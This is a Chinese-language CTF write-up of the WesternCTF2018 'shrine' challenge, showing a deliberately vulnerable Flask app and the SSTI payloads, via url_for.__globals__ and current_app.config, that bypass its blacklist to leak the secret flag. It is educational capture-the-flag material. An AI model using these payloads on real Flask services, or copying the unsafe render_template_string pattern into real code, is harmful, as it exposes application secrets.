开题即送源码一份
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') # 有一个名为flag的config
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/') # 路径
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self'] # 黑名单
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s # 遍历黑名单将结果为空
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
这是一个ssti模板注入的题
访问shrine进行测试是否有漏洞
/shrine/{{1+1}}

本来可以直接读取这个config,但是他这里设置了黑名单。可以使用函数url_for,其作用是用于构建指定函数的URL,在配合globals(),该函数会以字典类型返回当前位置的全部全局变量。
/shrine/{{url_for.__globals__}}

找到这个current_app’: <Flask ‘app’>这里的current就是指的当前的app,只要能查看到这个的config不就可以看到flag了,那么构造payload
/shrine/{{url_for.__globals__['current_app'].config}}

这篇博客介绍了WesternCTF2018中的一道web题目,涉及到SSTI(Server-Side Template Injection)模板注入。作者提供了源码,并解释了如何利用`url_for`和`globals()`函数来绕过黑名单,获取`current_app`的配置,从而揭示隐藏的flag。
760

被折叠的 条评论
为什么被折叠?



